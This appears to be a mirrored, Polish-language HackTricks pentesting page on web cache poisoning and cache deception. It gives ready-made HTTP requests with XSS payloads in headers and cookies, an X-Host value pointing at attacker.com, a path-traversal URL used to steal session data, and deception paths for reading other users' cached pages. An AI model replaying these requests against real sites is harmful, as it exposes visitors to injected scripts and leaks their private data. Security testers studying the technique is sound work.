Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-11 22:03:10 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/cache-deception/README.md

22 KiB
Raw Blame History

Zatrucie pamięci podręcznej i Oszustwo pamięci podręcznej

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:


Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Różnica

Jaka jest różnica między zatruciem pamięci podręcznej sieci web a oszustwem pamięci podręcznej sieci web?

  • W zatruciu pamięci podręcznej sieci web, atakujący powoduje, że aplikacja przechowuje pewne złośliwe treści w pamięci podręcznej, a te treści są serwowane z pamięci podręcznej innym użytkownikom aplikacji.
  • W oszustwie pamięci podręcznej sieci web, atakujący powoduje, że aplikacja przechowuje pewne wrażliwe treści należące do innego użytkownika w pamięci podręcznej, a następnie atakujący odzyskuje te treści z pamięci podręcznej.

Zatrucie pamięci podręcznej

Zatrucie pamięci podręcznej ma na celu manipulowanie pamięcią podręczną po stronie klienta, aby zmusić klientów do ładowania zasobów, które są nieoczekiwane, częściowe lub pod kontrolą atakującego. Zakres wpływu zależy od popularności dotkniętej strony, ponieważ skażona odpowiedź jest serwowana wyłącznie użytkownikom odwiedzającym stronę podczas okresu zanieczyszczenia pamięci podręcznej.

Wykonanie ataku zatrucia pamięci podręcznej obejmuje kilka kroków:

  1. Identyfikacja wejść bez klucza: Są to parametry, które, chociaż nie są wymagane do przechowywania żądania w pamięci podręcznej, mogą zmienić odpowiedź zwróconą przez serwer. Identyfikacja tych wejść jest kluczowa, ponieważ mogą być wykorzystane do manipulowania pamięcią podręczną.
  2. Wykorzystanie wejść bez klucza: Po zidentyfikowaniu wejść bez klucza, następnym krokiem jest zrozumienie, jak wykorzystać te parametry do zmodyfikowania odpowiedzi serwera w sposób korzystny dla atakującego.
  3. Zapewnienie, że skażona odpowiedź jest przechowywana w pamięci podręcznej: Ostatnim krokiem jest zapewnienie, że zmodyfikowana odpowiedź jest przechowywana w pamięci podręcznej. W ten sposób każdy użytkownik uzyskujący dostęp do dotkniętej strony podczas skażenia pamięci podręcznej otrzyma skażoną odpowiedź.

Odkrywanie: Sprawdź nagłówki HTTP

Zazwyczaj, gdy odpowiedź została przechowana w pamięci podręcznej, będzie to nagłówek wskazujący na to, możesz sprawdzić, na które nagłówki powinieneś zwrócić uwagę w tym poście: Nagłówki pamięci podręcznej HTTP.

Odkrywanie: Kody błędów pamięci podręcznej

Jeśli podejrzewasz, że odpowiedź jest przechowywana w pamięci podręcznej, możesz spróbować wysłać żądania z nieprawidłowym nagłówkiem, które powinny zostać zwrócone z kodem stanu 400. Następnie spróbuj uzyskać dostęp do żądania normalnie, a jeśli odpowiedź to kod stanu 400, wiesz, że jest podatne (i nawet możesz przeprowadzić atak typu DoS).

Możesz znaleźć więcej opcji w:

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

Jednak zauważ, że czasami tego rodzaju kody stanu nie są przechowywane w pamięci podręcznej, więc ten test może nie być niezawodny.

Odkrywanie: Identyfikacja i ocena wejść bez klucza

Możesz użyć Param Miner, aby siłowo testować parametry i nagłówki, które mogą zmieniać odpowiedź strony. Na przykład strona może używać nagłówka X-Forwarded-For, aby wskazać klientowi, skąd ma załadować skrypt:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Wywołaj szkodliwą odpowiedź z serwera back-end

Po zidentyfikowaniu parametru/nagłówka sprawdź, w jaki sposób jest oczyszczany i gdzie jest odzwierciedlany lub wpływa na odpowiedź z nagłówka. Czy można go nadużyć w jakiś sposób (wywołać XSS lub załadować kod JS kontrolowany przez ciebie? przeprowadzić atak DoS?...)

Pobierz zcache'owaną odpowiedź

Po zidentyfikowaniu strony, która może być nadużyta, którego parametru/nagłówka użyć i jak go nadużyć, musisz zdobyć zcache'owaną stronę. W zależności od zasobu, który próbujesz umieścić w pamięci podręcznej, może to zająć trochę czasu, możesz musieć próbować przez kilka sekund.
Nagłówek X-Cache w odpowiedzi może być bardzo przydatny, ponieważ może mieć wartość miss, gdy żądanie nie było zcache'owane, i wartość hit, gdy jest zcache'owane.
Nagłówek Cache-Control jest również interesujący, aby dowiedzieć się, czy zasób jest zcache'owany i kiedy nastąpi ponowne zcache'owanie zasobu: Cache-Control: public, max-age=1800
Kolejny interesujący nagłówek to Vary. Ten nagłówek jest często używany do wskazywania dodatkowych nagłówków, które są traktowane jako część klucza pamięci podręcznej, nawet jeśli zazwyczaj nie są kluczowe. Dlatego jeśli użytkownik zna User-Agent ofiary, którą celuje, może zatruć pamięć podręczną dla użytkowników korzystających z tego konkretnego User-Agent.
Jeszcze jeden nagłówek związany z pamięcią podręczną to Age. Określa on czas w sekundach, przez jaki obiekt znajduje się w pamięci podręcznej proxy.

Podczas zcache'owywania żądania, bądź ostrożny z używanymi nagłówkami, ponieważ niektóre z nich mogą być używane w niespodziewany sposób jako kluczowe, a ofiara będzie musiała użyć tego samego nagłówka. Zawsze testuj Zatrucie Pamięci Podręcznej z różnymi przeglądarkami, aby sprawdzić, czy działa.

Przykłady Wykorzystania

Najprostszy przykład

Nagłówek taki jak X-Forwarded-For jest odbijany w odpowiedzi w niesanitarny sposób.
Możesz wysłać podstawowy ładunek XSS i zatruć pamięć podręczną, dzięki czemu każdy, kto uzyskuje dostęp do strony, zostanie poddany atakowi XSS:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Należy pamiętać, że to zatruje żądanie do /en?region=uk, a nie do /en

Zatrucie pamięci podręcznej w celu DoS

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

Wykorzystanie zatrucia pamięci podręcznej do eksploatacji podatności związanych z obsługą plików cookie

Pliki cookie mogą również być odzwierciedlane w odpowiedzi strony. Jeśli można je wykorzystać do spowodowania ataku XSS, na przykład, można wykorzystać XSS w kilku klientach, które wczytują złośliwą odpowiedź z pamięci podręcznej.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Zauważ, że jeśli podatne ciasteczko jest bardzo często używane przez użytkowników, regularne żądania będą czyścić pamięć podręczną.

Zatrucie pamięci podręcznej z wykorzystaniem wędrówki ścieżką w celu kradzieży klucza API

Ten opis wyjaśnia jak było możliwe skradnięcie klucza API OpenAI za pomocą adresu URL takiego jak https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123, ponieważ wszystko pasujące do /share/* będzie przechowywane w pamięci podręcznej bez normalizacji adresu URL przez Cloudflare, co zostało zrobione, gdy żądanie dotarło do serwera WWW.

Wykorzystanie wielu nagłówków do eksploatacji podatności na zatrucie pamięci podręcznej w aplikacjach internetowych

Czasami będziesz musiał wykorzystać kilka niezaindeksowanych wejść, aby móc nadużyć pamięć podręczną. Na przykład, możesz znaleźć Otwarte przekierowanie jeśli ustawisz X-Forwarded-Host na domenę kontrolowaną przez ciebie i X-Forwarded-Scheme na http. Jeśli serwer przekierowuje wszystkie żądania HTTP na HTTPS i używa nagłówka X-Forwarded-Scheme jako nazwy domeny dla przekierowania. Możesz kontrolować, gdzie strona jest przekierowywana.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Wykorzystywanie ograniczonego nagłówka Vary

Jeśli odkryjesz, że nagłówek X-Host jest używany jako nazwa domeny do ładowania zasobu JS, ale nagłówek Vary w odpowiedzi wskazuje na User-Agent, musisz znaleźć sposób na wydostanie się z User-Agent ofiary i zatruć pamięć podręczną, używając tego agenta użytkownika:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Wysyła żądanie GET z zapytaniem w adresie URL i w ciele. Jeśli serwer internetowy używa tego z ciała, a serwer pamięci podręcznej przechowuje ten z adresu URL, każdy, kto uzyskuje dostęp do tego adresu URL, faktycznie użyje parametru z ciała. Podobnie jak w przypadku znalezionej przez Jamesa Kettle'a podatności na stronie internetowej Github:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

Ukrywanie parametrów

Na przykład w serwerach ruby można oddzielić parametry używając znaku ; zamiast &. Można to wykorzystać do umieszczenia wartości parametrów bez klucza wewnątrz tych z kluczem i nadużyć ich.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Wykorzystanie zatrucia pamięci podręcznej HTTP poprzez nadużycie Przesyłania żądań HTTP

Dowiedz się tutaj, jak przeprowadzić ataki Zatrucia pamięci podręcznej poprzez nadużycie Przesyłania żądań HTTP.

Automatyczne testowanie zatrucia pamięci podręcznej sieci Web

Skaner podatności pamięci podręcznej sieci Web może być użyty do automatycznego testowania zatrucia pamięci podręcznej sieci Web. Obsługuje wiele różnych technik i jest bardzo konfigurowalny.

Przykładowe użycie: wcvs -u example.com


Użyj Trickest do łatwego tworzenia i automatyzowania prac z wykorzystaniem najbardziej zaawansowanych narzędzi społeczności.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Przykłady podatności

Serwer Ruchu Apache (CVE-2021-27577)

ATS przekazywał fragment wewnątrz adresu URL bez usuwania go i generował klucz pamięci podręcznej tylko za pomocą hosta, ścieżki i zapytania (ignorując fragment). Dlatego żądanie /#/../?r=javascript:alert(1) zostało wysłane do backendu jako /#/../?r=javascript:alert(1) i klucz pamięci podręcznej nie zawierał ładunku wewnątrz niego, tylko hosta, ścieżkę i zapytanie.

GitHub CP-DoS

Wysłanie złej wartości w nagłówku content-type wywołało odpowiedź z kodem 405 z pamięci podręcznej. Klucz pamięci podręcznej zawierał ciasteczko, więc możliwe było atakowanie tylko nieuwierzytelnionych użytkowników.

GitLab + GCP CP-DoS

GitLab używa kubełków GCP do przechowywania statycznych treści. Kubełki GCP obsługują nagłówek x-http-method-override. Dlatego było możliwe wysłanie nagłówka x-http-method-override: HEAD i zatrucie pamięci podręcznej, aby zwróciła pusty ciało odpowiedzi. Mogło to również obsługiwać metodę PURGE.

Oprogramowanie pośredniczące Rack (Ruby on Rails)

W aplikacjach Ruby on Rails często wykorzystuje się oprogramowanie pośredniczące Rack. Kod Rack ma na celu pobranie wartości nagłówka x-forwarded-scheme i ustawienie jej jako schematu żądania. Gdy wysłany jest nagłówek x-forwarded-scheme: http, następuje przekierowanie 301 do tego samego miejsca, co potencjalnie może spowodować odmowę dostępu (DoS) do tego zasobu. Dodatkowo aplikacja może uwzględniać nagłówek X-forwarded-host i przekierowywać użytkowników na określony host. To zachowanie może prowadzić do ładowania plików JavaScript z serwera atakującego, stanowiąc ryzyko dla bezpieczeństwa.

403 i kubełki przechowywania

Cloudflare wcześniej pamiętał odpowiedzi 403. Próba dostępu do zasobów S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami autoryzacji skutkowała odpowiedzią 403, która została pamiętana w pamięci podręcznej. Chociaż Cloudflare zaprzestał pamiętania odpowiedzi 403, to zachowanie to może nadal występować w innych usługach proxy.

Wstrzykiwanie parametrów z kluczem

Pamięci podręczne często zawierają określone parametry GET w kluczu pamięci podręcznej. Na przykład Varnish od Fastly pamiętał parametr size w żądaniach. Jednak jeśli została również wysłana zaszyfrowana wersja parametru (np. siz%65) z błędną wartością, klucz pamięci podręcznej był konstruowany z użyciem poprawnego parametru size. Jednak backend przetwarzał wartość w parametrze z zakodowanym adresem URL. Zakodowanie adresu URL drugiego parametru size prowadziło do jego pominięcia przez pamięć podręczną, ale jego wykorzystania przez backend. Przypisanie wartości 0 do tego parametru skutkowało zapisaniem błędu 400 Bad Request w pamięci podręcznej.

Reguły agenta użytkownika

Niektórzy programiści blokują żądania z agentami użytkownika pasującymi do tych z narzędzi o dużym ruchu, takich jak FFUF lub Nuclei, aby zarządzać obciążeniem serwera. Ironicznie, podejście to może wprowadzić podatności, takie jak zatrucie pamięci podręcznej i DoS.

Nielegalne pola nagłówka

RFC7230 określa akceptowalne znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza określonego zakresu tchar powinny idealnie wywoływać odpowiedź 400 Bad Request. W praktyce serwery nie zawsze przestrzegają tego standardu. Przykładem jest Akamai, który przekazuje nagłówki z nieprawidłowymi znakami i pamięta każdy błąd 400, o ile nie jest obecny nagłówek cache-control. Zidentyfikowano wzorzec podatny na eksploatację, w którym wysłanie nagłówka z nielegalnym znakiem, takim jak \, skutkowało zapisaniem błędu 400 Bad Request w pamięci podręcznej.

Odkrywanie nowych nagłówków

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Zatrucie pamięci podręcznej

Celem zatrucia pamięci podręcznej jest sprawienie, aby klienci ładowali zasoby, które zostaną zapisane w pamięci podręcznej z ich wrażliwymi informacjami.

Po pierwsze zauważ, że rozszerzenia takie jak .css, .js, .png itp. są zazwyczaj skonfigurowane do zapisywania w pamięci podręcznej. Dlatego jeśli uzyskasz dostęp do www.example.com/profile.php/nonexistent.js, pamięć podręczna prawdopodobnie przechowa odpowiedź, ponieważ widzi rozszerzenie .js. Jednak jeśli aplikacja odtwarza wrażliwe treści użytkownika przechowywane w www.example.com/profile.php, możesz ukraść te treści od innych użytkowników.

Inne rzeczy do przetestowania:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Użyj mniej znanych rozszerzeń, takich jak .avif

Inny bardzo jasny przykład można znaleźć w tym opisie: https://hackerone.com/reports/593712.
W przykładzie wyjaśniono, że jeśli załadujesz nieistniejącą stronę, np. http://www.example.com/home.php/non-existent.css, zawartość http://www.example.com/home.php (z wrażliwymi informacjami użytkownika) zostanie zwrócona, a serwer pamięci podręcznej zapisze wynik.
Następnie atakujący może uzyskać dostęp do http://www.example.com/home.php/non-existent.css w swojej przeglądarce i obserwować poufne informacje użytkowników, którzy mieli dostęp wcześniej.

Zauważ, że serwer proxy pamięci podręcznej powinien być skonfigurowany do przechowywania plików na podstawie rozszerzenia pliku (.css) a nie na podstawie typu zawartości. W przykładzie http://www.example.com/home.php/non-existent.css będzie miało typ zawartości text/html zamiast oczekiwanego typu mime text/css (który jest oczekiwany dla pliku .css).

Dowiedz się tutaj, jak przeprowadzić Ataki zatrucia pamięci podręcznej, nadużywając Przesyłania żądań HTTP.

Automatyczne narzędzia

  • toxicache: Skaner napisany w języku Golang do znajdowania podatności na zatrucie pamięci podręcznej sieci Web na liście adresów URL oraz testowania wielu technik wstrzykiwania.

Odnośniki


Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy przy użyciu najbardziej zaawansowanych narzędzi społeczności na świecie.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Zacznij od zera i zostań ekspertem w hakowaniu AWS z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: